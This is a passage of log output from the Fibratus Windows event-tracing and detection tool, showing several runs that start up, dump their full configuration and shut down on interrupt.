enable-threadpool=>false buffer-size=>512 enable-audit-api=>true enable-dns=>false enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-age=>0 max-size=>100 log-stdout=>true max-backups=>15 level=>info] + output ......................... [ amqp=>[ routing-key=>fibratus enabled=>false delivery-mode=>transient exchange=>fibratus durable=>false exchange-type=>topic timeout=>5s tls-insecure-skip-verify=>false url=>amqp://localhost:5672 passive=>false vhost=>/] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] http=>[ enabled=>false tls-insecure-skip-verify=>false endpoints=>[] serializer=>json timeout=>5s enable-gzip=>false method=>POST] elasticsearch=>[ flush-period=>1s servers=>[http://127.0.0.1:9200] enabled=>false healthcheck=>true sniff=>false trace-log=>false healthcheck-timeout=>5s gzip-compression=>false timeout=>5s healthcheck-interval=>10s index-name=>fibratus bulk-workers=>1 template-name=>fibratus] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-sections=>false enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] fastscan=>true skip-mmaps=>false skip-allocs=>false excluded-files=>[] skip-files=>false scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-18T20:40:41+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-18T20:40:43+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-18T20:41:25+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-18T20:41:25+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-18T20:43:16+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-18T20:43:16+01:00 level=info msg=bootstrapping with pid 11980. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-18T20:43:16+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ use-template=>true content-type=>text/html enabled=>false to=>[] port=>25] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ stack-enrichment=>true enable-audit-api=>true enable-thread=>true enable-image=>true flush-interval=>1s buffer-size=>512 enable-dns=>false enable-handle=>false max-buffers=>36 enable-mem=>false enable-vamap=>true enable-net=>true enable-threadpool=>false enable-fileio=>true enable-registry=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text level=>info max-backups=>15 max-age=>0 log-stdout=>true max-size=>100] + output ......................... [ console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] eventlog=>[ level=>info enabled=>false] http=>[ timeout=>5s endpoints=>[] enable-gzip=>false method=>POST tls-insecure-skip-verify=>false serializer=>json enabled=>false] elasticsearch=>[ timeout=>5s sniff=>false bulk-workers=>1 index-name=>fibratus healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] gzip-compression=>false healthcheck-timeout=>5s flush-period=>1s trace-log=>false enabled=>false healthcheck=>true template-name=>fibratus] amqp=>[ durable=>false timeout=>5s enabled=>false exchange-type=>topic url=>amqp://localhost:5672 exchange=>fibratus delivery-mode=>transient routing-key=>fibratus passive=>false vhost=>/ tls-insecure-skip-verify=>false]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-allocs=>false skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true scan-timeout=>10s enabled=>false skip-mmaps=>false excluded-files=>[] skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-18T20:43:16+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-18T20:43:18+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-18T20:43:36+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-18T20:43:37+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-18T20:43:37+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-18T20:44:00+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-18T20:44:00+01:00 level=info msg=bootstrapping with pid 8196. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-18T20:44:00+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] content-type=>text/html use-template=>true port=>25 enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false serialize-images=>false] + eventsource .................... [ max-buffers=>36 enable-net=>true stack-enrichment=>true flush-interval=>1s enable-dns=>false enable-audit-api=>true enable-registry=>true min-buffers=>16 enable-mem=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true enable-image=>true enable-threadpool=>false enable-thread=>true buffer-size=>512 enable-vamap=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-size=>100 log-stdout=>true max-backups=>15 max-age=>0 level=>info] + output ......................... [ http=>[ endpoints=>[] method=>POST enable-gzip=>false enabled=>false tls-insecure-skip-verify=>false timeout=>5s serializer=>json] eventlog=>[ enabled=>false level=>info] amqp=>[ exchange-type=>topic timeout=>5s enabled=>false routing-key=>fibratus delivery-mode=>transient tls-insecure-skip-verify=>false url=>amqp://localhost:5672 durable=>false passive=>false vhost=>/ exchange=>fibratus] elasticsearch=>[ enabled=>false healthcheck=>true healthcheck-interval=>10s healthcheck-timeout=>5s bulk-workers=>1 template-name=>fibratus servers=>[http://127.0.0.1:9200] gzip-compression=>false trace-log=>false flush-period=>1s index-name=>fibratus sniff=>false timeout=>5s] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ excluded-procs=>[] enabled=>false scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false excluded-files=>[] skip-allocs=>false skip-registry=>false skip-mmaps=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-18T20:44:00+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-18T20:44:02+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-18T20:44:10+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-18T20:44:10+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-18T20:44:11+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-18T20:45:20+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-18T20:45:20+01:00 level=info msg=bootstrapping with pid 14828. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-18T20:45:20+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] mail=>[ to=>[] port=>25 content-type=>text/html use-template=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-handle=>false enable-audit-api=>true max-buffers=>36 enable-thread=>true min-buffers=>16 enable-mem=>false enable-registry=>true stack-enrichment=>true enable-dns=>false enable-vamap=>true flush-interval=>1s enable-threadpool=>false enable-fileio=>true enable-net=>true buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-age=>0 log-stdout=>true max-backups=>15 level=>info formatter=>text] + output ......................... [ amqp=>[ vhost=>/ tls-insecure-skip-verify=>false exchange=>fibratus timeout=>5s routing-key=>fibratus delivery-mode=>transient durable=>false passive=>false exchange-type=>topic url=>amqp://localhost:5672 enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] elasticsearch=>[ healthcheck-interval=>10s enabled=>false servers=>[http://127.0.0.1:9200] timeout=>5s sniff=>false flush-period=>1s bulk-workers=>1 template-name=>fibratus gzip-compression=>false trace-log=>false index-name=>fibratus healthcheck-timeout=>5s healthcheck=>true] http=>[ tls-insecure-skip-verify=>false endpoints=>[] method=>POST enabled=>false enable-gzip=>false serializer=>json timeout=>5s] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-files=>false excluded-procs=>[] excluded-files=>[] skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false fastscan=>true enabled=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-18T20:45:20+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-18T20:45:22+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-18T20:45:31+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-18T20:45:31+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-18T20:45:31+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-18T20:49:59+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-18T20:49:59+01:00 level=info msg=bootstrapping with pid 9224. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-18T20:49:59+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] mail=>[ use-template=>true to=>[] enabled=>false content-type=>text/html port=>25]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false] + eventsource .................... [ enable-audit-api=>true enable-vamap=>true enable-net=>true buffer-size=>512 enable-fileio=>true max-buffers=>36 enable-thread=>true enable-image=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false enable-mem=>false enable-registry=>true min-buffers=>16 enable-threadpool=>false stack-enrichment=>true enable-handle=>false flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-size=>100 max-backups=>15 max-age=>0 formatter=>text log-stdout=>true] + output ......................... [ http=>[ method=>POST timeout=>5s enabled=>false enable-gzip=>false serializer=>json tls-insecure-skip-verify=>false endpoints=>[]] amqp=>[ routing-key=>fibratus enabled=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 exchange=>fibratus passive=>false durable=>false timeout=>5s delivery-mode=>transient exchange-type=>topic vhost=>/] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] elasticsearch=>[ template-name=>fibratus bulk-workers=>1 trace-log=>false sniff=>false flush-period=>1s timeout=>5s healthcheck=>true healthcheck-timeout=>5s gzip-compression=>false servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s enabled=>false index-name=>fibratus]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-registry=>false skip-allocs=>false excluded-procs=>[] scan-timeout=>10s skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] enabled=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-18T20:49:59+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-18T20:50:01+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-18T20:50:08+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-18T20:50:08+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-18T20:50:09+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-18T20:51:35+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-18T20:51:35+01:00 level=info msg=bootstrapping with pid 3520. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-18T20:51:35+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false] mail=>[ port=>25 use-template=>true content-type=>text/html to=>[] enabled=>false] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] flush-interval=>1s enable-mem=>false enable-handle=>false enable-net=>true enable-fileio=>true enable-threadpool=>false enable-image=>true enable-audit-api=>true enable-vamap=>true enable-dns=>false enable-thread=>true min-buffers=>16 enable-registry=>true max-buffers=>36 buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 formatter=>text max-size=>100 level=>info log-stdout=>true max-age=>0] + output ......................... [ console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] eventlog=>[ enabled=>false level=>info] amqp=>[ enabled=>false vhost=>/ delivery-mode=>transient passive=>false tls-insecure-skip-verify=>false durable=>false url=>amqp://localhost:5672 exchange-type=>topic exchange=>fibratus routing-key=>fibratus timeout=>5s] elasticsearch=>[ bulk-workers=>1 healthcheck-interval=>10s timeout=>5s servers=>[http://127.0.0.1:9200] gzip-compression=>false enabled=>false trace-log=>false healthcheck=>true flush-period=>1s sniff=>false index-name=>fibratus template-name=>fibratus healthcheck-timeout=>5s] http=>[ method=>POST serializer=>json timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false enabled=>false endpoints=>[]]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ enabled=>false scan-timeout=>10s skip-registry=>false skip-mmaps=>false skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] excluded-procs=>[] skip-allocs=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-18T20:51:35+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-18T20:51:37+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-18T20:51:46+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-18T20:51:46+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-18T20:51:46+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-18T20:52:01+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-18T20:52:01+01:00 level=info msg=bootstrapping with pid 15604. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-18T20:52:01+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false] mail=>[ use-template=>true enabled=>false to=>[] port=>25 content-type=>text/html] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-threadpool=>false flush-interval=>1s blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true max-buffers=>36 enable-dns=>false enable-image=>true enable-registry=>true enable-vamap=>true enable-handle=>false enable-fileio=>true buffer-size=>512 enable-mem=>false enable-thread=>true min-buffers=>16 stack-enrichment=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-age=>0 formatter=>text max-backups=>15 max-size=>100 log-stdout=>true] + output ......................... [ http=>[ endpoints=>[] enable-gzip=>false method=>POST enabled=>false serializer=>json timeout=>5s tls-insecure-skip-verify=>false] elasticsearch=>[ flush-period=>1s index-name=>fibratus timeout=>5s sniff=>false healthcheck-interval=>10s healthcheck=>true servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s gzip-compression=>false bulk-workers=>1 template-name=>fibratus trace-log=>false enabled=>false] amqp=>[ durable=>false tls-insecure-skip-verify=>false timeout=>5s passive=>false url=>amqp://localhost:5672 enabled=>false exchange=>fibratus delivery-mode=>transient vhost=>/ routing-key=>fibratus exchange-type=>topic] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s enabled=>false fastscan=>true skip-files=>false skip-mmaps=>false skip-registry=>false excluded-procs=>[] skip-allocs=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-18T20:52:01+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-18T20:52:03+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-18T20:52:48+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-18T20:52:48+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-18T20:52:48+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-18T20:53:45+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-18T20:53:45+01:00 level=info msg=bootstrapping with pid 9572. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-18T20:53:45+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] use-template=>true port=>25 content-type=>text/html enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ flush-interval=>1s blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 enable-mem=>false min-buffers=>16 enable-registry=>true buffer-size=>512 enable-thread=>true stack-enrichment=>true enable-image=>true enable-vamap=>true enable-net=>true enable-fileio=>true enable-audit-api=>true enable-handle=>false enable-threadpool=>false enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-age=>0 level=>info formatter=>text log-stdout=>true max-backups=>15] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] http=>[ enabled=>false enable-gzip=>false endpoints=>[] serializer=>json tls-insecure-skip-verify=>false timeout=>5s method=>POST] elasticsearch=>[ trace-log=>false sniff=>false enabled=>false gzip-compression=>false index-name=>fibratus healthcheck=>true template-name=>fibratus healthcheck-timeout=>5s healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] bulk-workers=>1 flush-period=>1s timeout=>5s] eventlog=>[ enabled=>false level=>info] amqp=>[ enabled=>false url=>amqp://localhost:5672 timeout=>5s tls-insecure-skip-verify=>false delivery-mode=>transient vhost=>/ exchange=>fibratus routing-key=>fibratus exchange-type=>topic durable=>false passive=>false]] + pe ............................. [ enabled=>false read-symbols=>false read-resources=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-registry=>false skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] fastscan=>true excluded-files=>[] scan-timeout=>10s enabled=>false skip-files=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-18T20:53:45+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-18T20:53:48+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-18T20:53:54+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-18T20:53:54+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-18T20:53:54+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-18T20:54:36+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-18T20:54:36+01:00 level=info msg=bootstrapping with pid 15348. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-18T20:54:36+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true to=>[] enabled=>false content-type=>text/html port=>25] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-images=>false] + eventsource .................... [ enable-mem=>false min-buffers=>16 enable-fileio=>true stack-enrichment=>true flush-interval=>1s enable-dns=>false enable-thread=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true enable-handle=>false buffer-size=>512 enable-registry=>true enable-net=>true enable-audit-api=>true enable-threadpool=>false enable-vamap=>true max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ 